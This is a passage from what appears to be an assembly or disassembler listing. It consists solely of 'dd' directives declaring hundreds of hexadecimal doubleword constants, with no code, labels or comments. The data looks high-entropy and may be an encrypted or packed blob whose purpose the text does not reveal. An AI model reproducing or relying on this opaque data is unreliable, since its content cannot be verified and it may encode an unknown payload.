5AF32C08h, 28C706B1h, 292722D8h dd 79A71A93h, 12C448CEh, 0E9DFE49h, 89887D3Fh, 2B7768BAh dd 25EE7E8Ah, 0E8E6AEA2h, 556AB302h, 16CB6440h, 8200E3E6h dd 2CADB050h, 0C5C308D0h, 20C1F12Eh, 0D74D34CEh, 700C2E61h dd 1C8CD56h, 7883B8CBh, 17E62E05h, 8A80B943h, 0E9BED4FFh dd 0D482C941h, 44220219h, 0E3873019h, 0D0F7F5C3h, 263B6878h dd 246AAB3Dh, 0B59ECCA4h, 21CD8087h, 753CA7A2h, 0BD3BF3EEh dd 50731267h, 23AE41EFh, 31701B32h, 0BE0605A3h, 1D2D4660h dd 1C42012Ch, 18EB0535h, 0DD08523h, 21D22E7Eh, 61E8E2ECh dd 53E24AFh, 0BBD8292Eh, 9C027BCBh, 296A8474h, 32C2BA71h dd 0C42676D7h, 83C3E078h, 4B01EB18h, 2EE8577Ch, 14F8C099h dd 5AC0F67Eh, 126D6850h, 7EAFADB9h, 44815888h, 0F6F9309Fh dd 0EFE883EBh, 0A11B0A78h, 0A80E470Ch, 5ADDC29Bh, 928EF929h dd 7A354E9h, 977058E9h, 72EB5F10h, 768301BCh, 0A138017h dd 0C32152B7h, 0C404C6DBh, 1896E20Fh, 0C7176DD5h, 7C9A1EBAh dd 0AB19C8CAh, 962CAE24h, 945FE600h, 4EEDC15Bh, 81F4E405h dd 9526D2EEh, 2E17340Dh, 885B0AC2h, 5C283195h, 4F336935h dd 0B34AA0AFh, 3B357B16h, 2BB2E187h, 91027553h, 79F7D743h dd 0BF549768h, 78A43532h, 4B229033h, 33763717h, 4E56B57h dd 0EBFDBA78h, 2E634361h, 0DD541952h, 0C45F973h, 0ED46E0D7h dd 68AD0A18h, 929B2FC3h, 0DFA9B8E8h, 0D226294Bh, 0D375205Ah dd 3086AB5h, 0E9FE8985h, 0A569F173h, 3B4FAA0Eh, 537D0950h dd 0A3E875A6h, 0CB2A68C6h, 0E91A316Dh, 82F90F46h, 744E65DCh dd 1CF9C705h, 0F297EF5Dh, 0DD45BD61h, 2B1685ACh, 4BF224CCh dd 806C75BCh, 475B7E27h, 0AB5C3466h, 38CD5033h, 0F1BA44B8h dd 7C76F20Fh, 0C04E6902h, 0F0E8C119h, 196B0F05h, 39A92A84h dd 0F6037978h, 0B55166D6h, 0C4F5D96Fh, 0A77B9265h, 13F60077h dd 0E940305Ah, 26C84951h, 9F18EE42h, 1F26CF0Ah, 52652B2Eh dd 69536C80h, 0F505E973h, 4105DD2Bh, 2AACF020h, 6D8995ECh dd 0DCB5ECF0h, 0BCDDCB60h, 48E91825h, 8B90A98h, 627A0916h dd 2F121B4h, 456526A4h, 3CC8D8E9h, 5C166BBBh, 0DDA85928h dd 24F0E50h, 0C1713164h, 0DC8305E7h, 0F52845h, 7A1EEAAAh dd 4ABD2607h, 5F080058h, 0D89DAAE9h, 74430C56h, 0D464EBB5h dd 38765E09h, 0CD282C53h, 716B4263h, 54EBD3D4h, 5AEB2CB5h dd 55129744h, 0EDA0E7E9h, 15170BB9h, 677133Bh, 13D052E6h dd 0B9D63B6h, 6B270E51h, 5566F081h, 48B5150Fh, 9D3F8F0h dd 4AE98B14h, 0A8597124h, 0D9AAF4B1h, 78B6F019h, 2751F25h dd 1107996h, 0E03EB753h, 37C0D40Ah, 0B486B652h, 9E87F679h dd 0E12809B4h, 0BDAF4682h, 3EC3F89Bh, 0D974740h, 29933117h dd 8E950EAh, 2D0E0C60h, 28C05741h, 3CF41F77h, 0E4E92759h dd 5C2FB474h, 8855C4F9h, 0ABA81C55h, 0D3059BFh, 97CFEEE7h dd 0B02FE418h, 5006EECFh, 4DA89CB8h, 2676ED9Dh, 422911CDh dd 8A66A0E3h, 0B4685912h, 0A22235FAh, 0A6D5C67Dh, 0F4958332h dd 7ED6F2FEh, 0F58DDE30h, 242812EAh, 0C0C1A7Fh, 0F719B4FAh dd 7CC5529Fh, 0B57F275Ah, 0A2EF35A0h, 0E14BE52h, 873DF701h dd 212995E9h, 9C3DD68Ah, 76B5C16Fh, 3120309Eh, 0E7F2DB0h dd 0EA135197h, 552C0010h, 2E2DA76Ah, 72131C01h, 6D11A905h dd 0F9D8ED60h, 11CA0747h, 0CFA65B19h, 2E680864h, 0CE0D7A64h dd 474D4162h, 0C135EA57h, 0D284ABA5h, 0BC58E388h, 30A709B9h dd 3515BD3h, 0D4F6E386h, 0B03A0858h, 30E947B1h, 0C1D3A460h dd 0D020588h, 29BB533Eh, 0DD0E620Ah, 0E1E0048Fh, 725D457Bh dd 0CD132AC0h, 25E9F198h, 0C9C922A3h, 6110A558h, 0FD7E530Fh dd 3A28E5FBh, 0B3E54A89h, 33680A30h, 5A8CCE1Eh, 0A2C2674Ch dd 0B011F5FCh, 38D5FAF9h, 9F7DCEC3h, 4B001B46h, 2D25FB1Dh dd 522FC0h, 73060543h, 0E82963D6h, 0CA0747F9h, 4DF32711h dd 0F40B2024h, 1C2F724Fh, 31AF93E7h, 6B50A118h, 452BCD28h dd 6E63D954h, 0D2E1A840h, 0C1461208h, 0C842C00Ch, 97206E1Eh dd 27860144h, 0E77C8940h, 767CB409h, 1369EFD6h, 5859E1C0h dd 2FF75A95h, 38E5E256h, 0A0E3BD0Bh, 0FD885123h, 78D574F6h dd 1F34C5EFh, 0AB24BF76h, 0D1EA8383h, 50927C4Ah, 5828A2C1h dd 0B117C4B9h, 17A6E3BBh, 36C99F8Fh, 0C362F02Eh, 65A8835Ah dd 95B85DF2h, 0BA8061B9h, 8E5C1309h, 57DC04Bh, 570259B6h dd 0A9685212h, 60E55640h, 882613B9h, 0B10C80E7h, 0F73F576Dh dd 0CAA4A0D9h, 7B612404h, 285A0456h, 0D3A7C2A4h, 3F057CE9h dd 0BFD381B2h, 0B36BC5D9h, 8908863Bh, 0E588262Eh, 0AFC027DBh dd 499F2D5Dh, 646E5FFDh, 5BD8BAECh, 415C4042h, 0B0D1F737h dd 29AF44A4h, 1AD001A6h dd 0C7B77AB3h, 6222B770h, 0D3759A06h, 0C2963DA1h, 1DC1ED75h dd 840B4EEFh, 4CA35D22h, 5F7FA78Bh, 0CC8ED5Eh, 0E2514BC5h dd 0E8A14105h, 0F74FEC91h, 57CB42EAh, 9FF65F54h, 0C1AFC358h dd 9368E311h, 0E9317A07h, 60EA3A6Eh, 1DF9CE22h, 83516257h dd 0F37FFBEEh, 74EB1801h, 15CD66Eh, 9A462E6h, 4A676608h dd 0E30BA50h, 5A01E9F0h, 0CA4DBD9Fh, 8D129ECFh, 0A0BF34C4h dd 774EDF40h, 0B80152A7h, 61682D6Fh, 6C3D3040h, 5F290FCBh dd 0F98029B2h, 566372DAh, 9FCB8297h, 0BAA08DDh, 927DAE7Dh dd 141552Fh, 42B1F056h, 24ACE97h, 784001BBh, 0AC610961h dd 97137056h, 36770317h, 0F1AF49EFh, 0F30B2674h, 0C1699B5Ah dd 0E5A89735h, 0DD81271Bh, 6B59271h, 213F4FEh, 16F15BB7h dd 0B88FB0EBh, 0BD54AB39h, 2A681237h, 0D7CF14A9h, 0F30A9985h dd 76D12FD1h, 0A4CE278Fh, 0D1283525h, 0C080191h, 0F4304665h dd 1BC033C7h, 407E8C3h, 9644B537h, 0A272C412h, 5E691AAh dd 12707E44h, 806DC468h, 224E9CE9h, 97D3C1BCh, 0BBBBD4D0h dd 417A6BCCh, 14D8985Eh, 81515F3Dh, 5CBD975Dh, 65DC23EAh dd 0F768D90Bh, 2D49BE63h, 6EA55574h, 39C825Eh, 0A7B0ED5Fh dd 245117A5h, 50C6AE6Bh, 44F29DFCh, 6FDF749Dh, 0F1408CE9h dd 0D878095Eh, 89D7037Fh, 0C102FEB8h, 44BD220Ah, 5B802062h dd 0B5AB7F03h, 0E93DD5B0h, 8BA9E9BCh, 2BF760Ch, 0A5B681Eh dd 9EDA9DC0h, 0AFD9843Ch, 6B0454FFh, 0BC10BCF6h, 0ACF58100h dd 310E0F42h, 5512AB97h, 3DA6ECAEh, 0BE04A4DCh, 32A04B3Ch dd 5AF58983h, 2760EE14h, 46C62034h, 19E90B2Fh, 449EB226h dd 954E258Fh, 0A7C3AB20h, 0C74E1644h, 4A9929C2h, 6B48478h dd 0F88F87h, 601605BBh, 0CB0B8109h, 0DC875897h, 617EA5CEh dd 0BA03E9AEh, 0E0DA24BCh, 1278E281h, 12742Bh, 0D35641C1h dd 0D02CF73Ch, 0E2010B40h, 96ED566h, 0B4F3A02Fh, 18BCE14Bh dd 5904BBB5h, 8EC1B331h, 0D8988E9h, 8D8ECE01h, 3C07A3Ah dd 6EE171C0h, 0BBD2BEBDh, 770A001Ah, 0E90BA5E7h, 9D545C4Ah dd 0AD6DC9F3h, 214BD1C8h, 0FB36502Ch, 0F3128D00h, 4EFD3133h dd 0FB4DC75Fh, 7FAD2745h, 0CA371B83h, 0A6B84A02h, 0FD1DD475h dd 0C19B349Bh, 65ECD207h, 1D6F35ABh, 3A7B6C86h, 34A30918h dd 90E3947h, 4EE69669h, 523A9980h, 86797h, 0E54264BFh dd 0EF503120h, 719DBBAEh, 39741D88h, 0ED0E21C8h, 59490269h dd 511004DFh, 9D2861F0h, 71A8ADCh, 5C097F06h, 0EF696DAFh dd 893C72F6h, 22C8204h, 0FCD44BA3h, 0BFAC5071h, 5C946BDh dd 65E73069h, 21ECC150h, 78C92EAFh, 4174F1E1h, 0F68A17BEh dd 0F039B181h, 67B7C462h, 0B83F3F0Dh, 0AD49E749h, 0D4BF4313h dd 68880206h, 1DF117F8h, 2F4EE482h, 8CB34177h, 0AFC81B93h dd 0F6D9BEC4h, 2F307A6h, 4BC264D4h, 882285Dh, 7D048B0Bh dd 0E909C8CFh, 0AAB95047h, 1D4E5714h, 406333A0h, 1E75C120h dd 7DC4509h, 8D4CE94Fh, 39A02A3Ah, 0D928200Ch, 7EC26815h dd 0B050166Bh, 2857470Ch, 0C3FE3017h, 0DBE38004h, 3009DDE7h dd 0BB8001D5h, 0D81C1278h, 0DF1273h, 0A53A4304h, 6FB031DEh dd 5CB7909Ah, 0B071EBC3h, 4F178FA6h, 0A84B768Ah, 10E982E8h dd 83BD0022h, 0F895DE21h, 0D7F6B4Fh, 0D508F276h, 48680123h dd 8902CD2Ch, 20FA185Ch, 9A69F627h, 0C27F4AF3h, 649A70Ch dd 0CECB3E5Dh, 9453C804h, 2CE4FB1Eh, 2913C0C5h, 562CE9F2h dd 16BD3FE1h, 0F471A084h, 0BB5F487Eh, 4683BA47h, 814D5E72h dd 0E1782D2h, 60ACC530h, 19EA25D3h, 6EE1C52Bh, 149E280h dd 0F67C5C99h, 0E7F88913h, 90207B8Ch, 1B564CB1h, 13D4EDB4h dd 98BBF6C6h, 790B68C8h, 51678D37h, 0C14462F2h, 0EFC58000h dd 5FE86A30h, 71AE189Eh, 13128C68h, 0C1B03416h, 0C7631829h dd 0B05F0C71h, 0FAC24E2Eh, 1DEB9388h, 0CCF4895Dh, 0EDF6BE14h dd 0BAA9844Ah, 0D0BB0893h, 4602273Dh, 0E6505BEBh, 5E582946h dd 1D2E0C88h, 86E58B53h, 0FAEB0BF6h, 6B7D31D0h, 0F55BD835h dd 0C8B47F11h, 0B8DB80D7h, 7814180h, 7C4FDAF1h, 0CD0BC239h dd 6176CCD5h, 22680B54h, 84878D1Ah, 0CD21B50Ah, 0D263F27Eh dd 490AEA0Fh, 821402C8h, 0D0F601CFh, 3E03F5C0h, 80F04C0h dd 586631C2h, 54704D0h, 0BB0A0805h, 558574FCh, 0C2932468h dd 1EDFE823h, 2D9895D2h, 799D01AAh, 0E95C500Eh, 4F36F638h dd 999A38BBh, 219341h, 0FEB0224h, 62D83EBEh, 0FB97DEE4h dd 0BB5B0DB2h, 0B717DC61h, 3DD1FFC2h, 52DDF760h, 0AE9F0268h dd 315AAD1Fh, 5529B2C1h, 9280F271h, 3930B2BCh, 317AF2D1h dd 0F7338306h, 60B056DAh, 0FABA1CDEh, 70000E20h, 7AFBD55h dd 27E97F01h, 8B72AE95h, 0F5C4CD4Ah, 0F1FA7783h, 9A487594h dd 49D9384Ch, 0FF4901DBh, 7F38B75Bh, 5C5FADF4h, 0C41F85Eh dd 48D1936Bh, 0E30643FEh, 6F693C72h, 7B26010Ch, 0EAE97EC3h dd 3C4362AFh, 0DFB54ACFh, 6C808E07h, 9D2F8851h, 0F257E162h dd 7578B72Dh, 7C05E0C9h, 32EB891Ch, 0C7E2606h, 0B30A5009h dd 2839021Dh, 6857004Ah, 3F132CF6h, 8A85F79h, 0DE268D4Eh dd 80B768E1h, 748ACB51h, 26680C09h, 0C09756EEh, 79A1551Fh dd 107B315Ch, 5B27FA74h, 6B408E8Bh, 394F3F48h, 804C5B5h dd 87EF2CEFh, 0D192569Ch, 0DC87C0EDh, 6CF50B0Ch, 26E9175Dh dd 63B9F427h, 27B96C97h, 0A7479CFCh, 12CD010Bh, 478DC0D7h dd 0F081819Bh, 0B0300406h, 76CC0C4Ch, 0F5F0F144h, 816177Dh dd 72180B11h, 0E4C7CB5Ch, 0BFB1FDA9h, 0F1E20314h, 64C2B3DDh dd 0E00F07EFh, 7C52FBE8h, 3005F27Eh, 35580BA9h, 0D85A060Ch dd 0EB93C97Ah, 6525AF75h, 32BB9097h, 42FF2E04h, 4D1F5F9h dd 4F57E970h, 0B6AA402Bh, 0BA110F70h, 0B1E1C30Dh, 0E43EA25Fh dd 7730E97Ch, 0BC685EA7h, 62369C79h, 0D0B8AB03h, 11AB2387h dd 2C292FC1h, 825589CDh, 0EF3985Fh, 0DA1789FDh, 91C6DC5Ch dd 31E59F10h, 20A6DAA7h, 0BE01730Ah, 1C177788h, 2120F231h dd 4CD195C1h, 1ABEA70Bh, 0A054F07Dh, 2847FAF5h, 69E63587h dd 6ED70DFEh, 26549F83h, 0E8D57452h, 0F5E96107h, 0D0342361h dd 0C5E02F95h, 0F644BB1Dh, 3427904Eh, 67AC3A85h, 328FBF00h dd 0E7813350h, 8D548A13h, 0D20701EFh, 307C6525h, 6105AF0Bh dd 6AE966A8h, 9C2D0AD0h, 15882678h, 0EF7944B5h, 0DC7A77B5h dd 7CB78928h, 9068455Bh, 0B85C3548h, 12BA50Ch, 80E542C7h dd 0B61F53BAh, 0DA131B1Ch, 0A500DD39h, 3BEF0DE3h, 528C175h dd 688595C8h, 0CBCFAF58h, 4BC1E912h, 0BC00490Dh, 2E20AA10h dd 2EBFE7F8h, 404DC4E3h, 0BA4D0413h, 4BE120Bh, 0C28E3F96h dd 49DFCE59h, 0FD2EE0EEh, 16A2E5DAh, 50A2EC27h, 154043D3h dd 983F18B4h, 262B1730h, 1809528Ch, 0CA274722h, 72584CD1h dd 4F343A17h, 8A1C6BB3h, 4E3E5F05h, 0FA13BCBBh, 0D436D6C9h dd 0A34E6249h, 3DEF976Dh, 18A0765Ch, 3613E19h, 8AD28334h dd 0FE308EA4h, 55C21ED9h, 53609056h, 39803BB3h, 0F3B273EBh dd 0EACA08CAh, 75B5CADFh, 0E5FDDA09h, 13273FACh, 0DE9FA2D8h dd 0EA83F0C0h, 4FF226C0h, 983A069Ah, 0AE84E2Eh, 70CF2DA7h dd 4C9CB2E9h, 60AB801h, 0F6404CBDh, 2FDB4E5Eh, 68412977h dd 4B661C6h, 0A7CB010Bh, 6E277102h, 84019E8h, 0F4F69F5Bh dd 0FFAD2D62h, 7832F0E6h, 0D5FA11AEh, 4E2D622h, 484B842h dd 2774FBB3h, 492A81C9h dd 46A429BBh, 6D22EAC2h, 25BC7E7Dh, 6F717ED9h, 207B96Ah dd 426702F3h, 0A3C4FF89h, 814B8324h, 49A18444h, 704E983Dh dd 54C7814Bh, 403F1012h, 12D184AFh, 9B0D2108h, 5F612FC8h dd 280D4334h, 0C0B51AC1h, 85CE5F26h, 0A95A1ABCh, 1363652Dh dd 94CDAB55h, 6E894D33h, 5BBF6E40h, 7E4D4B14h, 71BD00F9h dd 0B951470Ch, 89343E01h, 0F915B88Fh, 0C8291442h, 0E944825Dh dd 40C57741h, 0A03820B8h, 0E1570D6Fh, 0A454A87Eh, 5FCE8BBAh dd 0FF604EC5h, 5A5E7CF0h, 0E76E1818h, 0E80B60C4h, 0F7D3F4E9h dd 0D5F7AC10h, 12D30BD4h, 88FAF3D9h, 683BDFDDh, 5AB55383h dd 4BFECAC8h, 0F9CACD6Ch, 0A4EE04B1h, 3770B466h, 52FFE25Bh dd 0F55A0E0Ch, 0B346E6E7h, 6E0B8F16h, 5702055Dh, 0E9176E14h dd 19E39966h, 216F4D05h, 4712BB4Ah, 0DD8F5CEFh, 0A4FA895Ah dd 67D36A00h, 293F36CEh, 8A172EAh, 0B4C92C5Dh, 8E8AB707h dd 0BBF8F6EFh, 78D682A5h, 0DB14AD0Ah, 44710662h, 7E64375Ah dd 0C28E4F5Dh, 0F9615003h, 6EF32B73h, 4E4C8310h, 0CC71BE0h dd 4E8F3F18h, 68006A0Ch, 0F931E732h, 5FEAE95Fh, 0DF30EE93h dd 0B2830AFEh, 126A0937h, 4E7E137Eh, 3D028738h, 4674CA29h dd 475F4AB8h, 0EB1D6812h, 0F72C1D46h, 6E803274h, 2D625875h dd 83F40B9Ah, 295201CCh, 0B00D9B3Dh, 3C360C6Fh, 0A6D5FBDh dd 3408EBA2h, 5E14090Ch, 95131CD7h, 51E9467Ch, 20A1EDD8h dd 474FD6B4h, 0D0CE4C4Bh, 63399936h, 0ED88D0B5h, 4A4E7FE9h dd 86B9E1D4h, 5FE7915Eh, 8DF32EAAh, 1BFE5327h, 0F403AD3Fh dd 0D37E2D36h, 5DA5C02Ch, 18552CBAh, 9DCFAF37h, 0C79C1014h dd 0B912E9E1h, 6A284E9Ah, 0B88D2C85h, 0CA5F38A0h, 0D3FC0BFAh dd 3BEF65E8h, 0E3B0873h, 41074829h, 4CBA3608h, 0D2A42740h dd 0B140CBFDh, 0AAF599F7h, 880EE73Ch, 175DF6D9h, 7B8419CBh dd 74813A48h, 0D071A84Ah, 0F440E0F7h, 5F9EEAB4h, 87F82128h dd 0D82628CAh, 9C7AE90Dh, 44D02FADh, 0C42F0109h, 0DE10007Fh dd 0B5DA750Dh, 36AADC43h, 561CA6CCh, 0FE0089BEh, 5EF72949h dd 0A2F85421h, 810B25E9h, 0AC27CB2Bh, 0D2CBE9C7h, 27C5E01h dd 0DA317BB2h, 9F175C70h, 5300B294h, 507E7221h, 6E6714B8h dd 473B8C5h, 0CC1EB44Fh, 0F1A05F89h, 9E02FBEFh, 76E940B8h dd 0C5D70B7Fh, 0FDFC259Dh, 4EB56870h, 7529311Ah, 0E9EA3013h dd 0EBC58229h, 2A252002h, 554AD26Bh, 7920C65Eh, 60A641A4h dd 424D056h, 0B600154Eh, 8EEC0DAh, 7A55E680h, 54F62F66h dd 0C04BAFF7h, 0E3B151D4h, 2CE5C08h, 71D271h, 20104605h dd 595E1101h, 743844EBh, 5CC8D619h, 0AF400464h, 342D08ECh dd 2F4D4276h, 8C16AA2Ah, 73DCFAEh, 0C530D0F6h, 9508E826h dd 3743C1E0h, 0BFF32980h, 1487527Eh, 0E9819C2Ch, 77C2DA1Dh dd 0CC2FEB73h, 13681664h, 1017E316h, 0B512063Ah, 37F1AEB6h dd 0B151F82Bh, 81922F89h, 256BCBD8h, 99B617Eh, 0CDC3B9DBh dd 9E74216Fh, 0F8200195h, 0C6B9CAFFh, 59E0A103h, 0D96801D6h dd 0C41A387Dh, 3DAA3A76h, 3F6E0DD4h, 81D18A98h, 9455F2ECh dd 467A20B1h, 0E69C5F5Eh, 6C4816FDh, 0EE8EBBCBh, 0A5310B24h dd 0CA20EFFCh, 7BBD7FE0h, 0AE99B591h, 0A35118A4h, 0EB3B5EFBh dd 0BA8FBC6Ch, 0F7971CE7h, 0BA57D2D0h, 8E265AD9h, 0DFFE472Fh dd 0A22DC902h, 0E0AD639Ch, 9F6D891Dh, 8824D52h, 40F7673Ah dd 95D9214Dh, 0C1D946F6h, 8968F887h, 0C5DD0B23h, 0B43AB5C9h dd 5C4F7133h, 0A0AB4824h, 0A24B6C1Eh, 9EBB21EAh, 0AFE259A8h dd 2DEA0038h, 0AA6179Dh, 5F0290Ch, 0EA5E1707h, 89556B60h dd 0A2E919C5h, 2A5838B4h, 47CF94C7h, 0DF0B2DB2h, 9241AC92h dd 2779C0E2h, 8A90BF0Ah, 6F1EE815h, 0F31F7EDh, 2B7C01DEh dd 71BB422Eh, 0CF843C64h, 0C7BF0015h, 0F422A33Dh, 1487E958h dd 720E94B9h, 0F48491Ah, 81E48E1h, 0D9186F33h, 0B6424496h dd 712A4EEh, 0C4C828FAh, 0FD489414h, 86AF539Dh, 77A16916h dd 0C52D5EEAh, 5FF7AEC2h, 0B88B17D2h, 66AC8E64h, 20C61E2h dd 0E9D42885h, 4DFA7E1Fh, 0B81A6909h, 1E9F7C45h, 187BBA4Dh dd 2040F76Eh, 0DCF8230Eh, 4A637895h, 4EB1AC29h, 204C74EBh dd 435E055Eh, 0E9101B04h, 0A0925552h, 0A0F8C1DBh, 47716800h dd 0F2801BBFh, 5F29FF13h, 46557489h, 7EC59D65h, 9CB324CFh dd 41FB16A4h, 0F2C4010Dh, 0ADD23AC8h, 0F64FC926h, 0C2DCC36Bh dd 238692D1h, 0FEDF516Ch, 0BF750570h, 62D62F3Eh, 0EA3F6048h dd 1B38C0B3h, 8724C488h, 35A0EEEEh, 83401F6h, 0F209E5B0h dd 0F3E2F15Eh, 0E9D8EAFBh, 78B4D8BFh, 0A4BA4462h, 0C4A4D68Fh dd 1F21F94h, 80DBD218h, 1151BEEDh, 0BA639807h, 0E8355BBFh dd 16EA2B0h, 0BD554DFDh, 0E5633694h, 394CE5E9h, 7BD009C3h dd 0ED1A80D8h, 0F17D6F9Ch, 0F87E123Ah, 5B7601E9h, 0BF7E96Dh dd 0BEB14503h, 55A4AFC5h, 0CC9F1522h, 0AEEEB264h, 0B7241C96h dd 0D419EB48h, 7684DD21h, 0B0C728F5h, 475CAB8Eh, 0ECFC5B18h dd 3078E093h, 0EB4EC37Ah, 32BA8CC4h, 847CC964h, 2012CC2Fh dd 681649EEh, 68617E59h, 0BD7EE035h, 54C225E3h, 0B7ADAA10h dd 3079BA54h, 0BBD034h, 0E533898h, 5A7FEE81h, 294F4DE0h dd 80051A1h, 0D787CBE9h, 0DD6AF468h, 250E1B04h, 35EE595Ah dd 578F075Dh, 0EF0CC1BFh, 0F9853F5Ch, 0AE682A04h, 2B6A4FAAh dd 0D5CF0F06h, 2724BB0Dh, 0B26BB52Ah, 6254CFA4h, 590A7F68h dd 0FD998C3Dh, 0D80BF795h, 8C2AB04Eh, 4C362A94h, 0F9207819h dd 0BC7AD0B7h, 94B1FCCh, 6475F324h, 91179822h, 0C8E9C3F2h dd 0C07FBC8Dh, 5C4D1AD5h, 4DF61F7h, 3B02E7C1h, 87126BA2h dd 142ECACAh, 92C714F7h, 684420FAh, 13A876F3h, 963DB353h dd 82B0B980h, 0CF68DACBh, 5011A718h, 3FFE05D9h, 52561ACh dd 9BC769F9h, 87430A3Fh, 0D244CB02h, 0D4938050h, 4F319DFh dd 6F1DD32Dh, 1E10FF4Ch, 0A45F2607h, 7733BA62h, 0ED25FB4Ch dd 5E1190A2h, 0E7C79F51h, 49207127h, 13AC455Fh, 7F99D95Bh dd 0E98561F9h, 4945BFD5h, 4BAE7068h, 0DFFEA6DCh, 0A727E52Dh dd 9E49577Ah, 94B800ACh, 352B1B3Ch, 3E5C00D6h, 4C932D40h dd 3AB857ECh, 0C6EC68F8h, 2B7130F1h, 0D3F47E41h, 3EB00C1h dd 23F2CB81h, 0E39A330Bh, 6800CE5Ah, 20685755h, 68764869h dd 189B5A18h, 803826B8h, 0F7C1DEFEh, 0AC2CABE2h, 0F2E060C9h dd 80075966h, 0C1FE35F1h, 0C70AE153h, 4BE91250h, 0CD39A4Eh dd 8EBC0D3h, 5781FE38h, 0CF72CFD8h, 9DA4F9A9h, 4AA591C9h dd 3F0F3629h, 84435D95h, 5FD4E718h, 3E6E88EEh, 0B74D7340h dd 0EF863FAh, 68264134h, 335BD991h, 0CBCD53BCh, 0C8015909h dd 9C55382h, 0D04EE17Dh, 845AF96Ah, 0B2EFEFF7h, 58CA4E91h dd 8E100D48h, 8AB117AAh, 5B591104h, 4BADECAAh, 0F86855A1h dd 62A905CBh, 267334D7h, 691EB426h, 642B1080h, 0DA991D7Ah dd 39073C0Ch, 3031FAE6h, 0FE28174Eh, 791B2844h, 5B7BD8E9h dd 8425FC66h, 0D8AE035Fh, 8DC09350h, 0FA7982C3h, 25A957Fh dd 0A5E90880h, 5697B69Ah, 90217A30h, 0C2655A68h, 52C2F95Fh dd 449CB1D4h, 54AFF7A5h, 65FA271Fh, 0FE844B2Bh, 0F9172F39h dd 0FAB6EE0Eh, 0B719017Dh, 8815A260h, 4E09F0E7h, 434768E3h dd 496EFAE3h, 0B0B48379h, 14E1B82Eh, 12F85058h, 0D5FB95CEh dd 0ABC5A42Bh, 50737450h, 438A5217h, 0EABCCC57h, 0C1725626h dd 2AAE97E9h, 0BF00038Eh dd 0B8F0413Dh, 0AB5C56E9h, 1278D43Ah, 8ABBD070h, 0F3257D7Eh dd 0FC92DDD4h, 0E3732092h, 0C78FE984h, 0F39CD917h, 242FDEDh dd 362D7AC1h, 12275F29h, 0ECE9A502h, 5535015Dh, 0CB2154A5h dd 0BDC75A70h, 81C73D7Eh, 41557FC0h, 0FA50BD5Fh, 47803E25h dd 0C26805B1h, 15B9873h, 4893CD62h, 2CD97F83h, 73080513h dd 61412F96h, 0D9093FC2h, 40BFB258h, 0DF42E387h, 5138D861h dd 7495885Dh, 0D5C922h, 0CA9BB401h, 895313B0h, 5F1DA8C3h dd 0C600DACBh, 5AA26199h, 990FE01h, 5D926809h, 1707613h dd 0F50E7CE1h, 0C2984433h, 0F3D48EAEh, 70635449h, 0A92F4307h dd 3DD7DE7Fh, 14E9CF8Ah, 0E61C45E7h, 0C7337ED9h, 0E8B9409Fh dd 207F02Ch, 57DBC981h, 0D1877D02h, 1DA06297h, 1562E580h dd 0AFB7A687h, 268F217Fh, 7C686989h, 0A913A0Ch, 0D31E1B0Ch dd 0BCD37CB9h, 9BEEDA0h, 2530477Ah, 903E90DEh, 0CF76632Fh dd 5284EE4Ah, 4162FD7Ch, 8E12D408h, 0EBF4D99Dh, 5762FF54h dd 9629DF82h, 0E963E153h, 0DB2B4442h, 1FB40905h, 2084FE8h dd 6F605AD5h, 317239F1h, 4751A79Ch, 5613A632h, 0D2C9BDC1h dd 0E828A601h, 0D685810Fh, 810630A1h, 0C2594963h, 967AC7DDh dd 68C69CC2h, 7825E109h, 30FE2Bh, 26074A44h, 0B5D2C531h dd 805F3013h, 4237A7C0h, 17982D73h, 0FC4551CFh, 85B540BEh dd 45FD3B8h, 9AEB9812h, 0BBA24E52h, 0AA43E984h, 7D5B2A09h dd 0A4BDD46h, 64E2B417h, 8B19FD92h, 200BE402h, 6812EFC0h dd 7AB64A4Dh, 7EBB5302h, 0F8D42374h, 0B4BA91Fh, 0E990D55Ch dd 0F1C234E9h, 4C0EB868h, 9DAD7AFCh, 9DC0D29Ah, 16897C14h dd 5DF2096Ah, 0C4B5B852h, 54AB5801h, 0D53C832Dh, 10F86812h dd 59E2CEAh, 0F60E881Fh, 2DD801C5h, 0BBB0716h, 6E7FBFAAh dd 0D3E2BD0Dh, 9FF0965Dh, 742D02E7h, 98A8CFBEh, 0D5A86809h dd 1BC0141Ah, 0FD826AE8h, 19C1D243h, 0EA7381CAh, 6F5627CCh dd 740D5ABBh, 0F41844FCh, 385AAE6Dh, 0F605FFADh, 0C1C1139Bh dd 5A74C83h, 89BDCF82h, 4AE6C6B3h, 19EEE58h, 6EF1A610h dd 0F70398F2h, 22689FDBh, 6AC0344Bh, 37FCBE56h, 6737C85h dd 0C804FECEh, 0A0018E61h, 0E99F44C0h, 8404B1D6h, 0C58A00BBh dd 81235C0Ah, 78D7E504h, 0F5C03D5Ah, 0B1D5F704h, 2E0BC08Fh dd 609542F3h, 5070C68Bh, 41839C46h, 0B1A4261h, 0B460F4D6h dd 0C0659462h, 0FA4935E4h, 5A97426Fh, 10EA02BAh, 12A7154h dd 0F0E99F81h, 0BA282AB9h, 5BB040A2h, 0C1B84E4Fh, 38AFE660h dd 8736052Eh, 7B0852D6h, 5A735268h, 0CB28140Bh, 3E0B36FCh dd 0E9D88267h, 4B3C70D5h, 3AEC9931h, 0D83BD3A1h, 0F94CE412h dd 0FA0DDE7Fh, 0E441630Fh, 726A599Dh, 0E5D75AC3h, 641425DEh dd 0BA970984h, 911CCE93h, 88A53F99h, 34D45B20h, 0D4956C52h dd 3408202Ch, 0AA026858h, 0E22E2F8Dh, 645E8B45h, 17619F0Eh dd 0C4362CB2h, 507BF99h, 74EC828Fh, 0FD24055h, 78DD82C8h dd 81CE32C7h, 0D340DE6Bh, 5A0B0FEDh, 542933A0h, 95082080h dd 0FA2A025Fh, 680209F8h, 22FDAA2Eh, 91585F3h, 58CEE580h dd 107CD012h, 19A53531h, 3678FD21h, 2EA1DFB1h, 169D54F2h dd 0F96F29F9h, 2DEA2A14h, 5B358BE3h, 27175267h, 1C7254D8h dd 0E68AC12h, 0B464C8FBh, 0F45CD37Dh, 40B10743h, 22DFB252h dd 0E03087F2h, 0CBC1FE8Bh, 0FE0FC004h, 4B57DFBDh, 0FA5659CCh dd 36C4303Fh, 4AC3E965h, 489DBFF5h, 0B85F5D08h, 816094CEh dd 736107EBh, 5305303Eh, 4023569Dh, 0FADE9851h, 69DA012Eh dd 0FDF6C225h, 3CED7AC0h, 5CE66914h, 46E578C7h, 0EE020C08h dd 58267550h, 5579DD56h, 0F54A61ADh, 0FCCD342h, 0D420CBE7h dd 0BF90EA27h, 3C2FDEF3h, 0EBBC6CFCh, 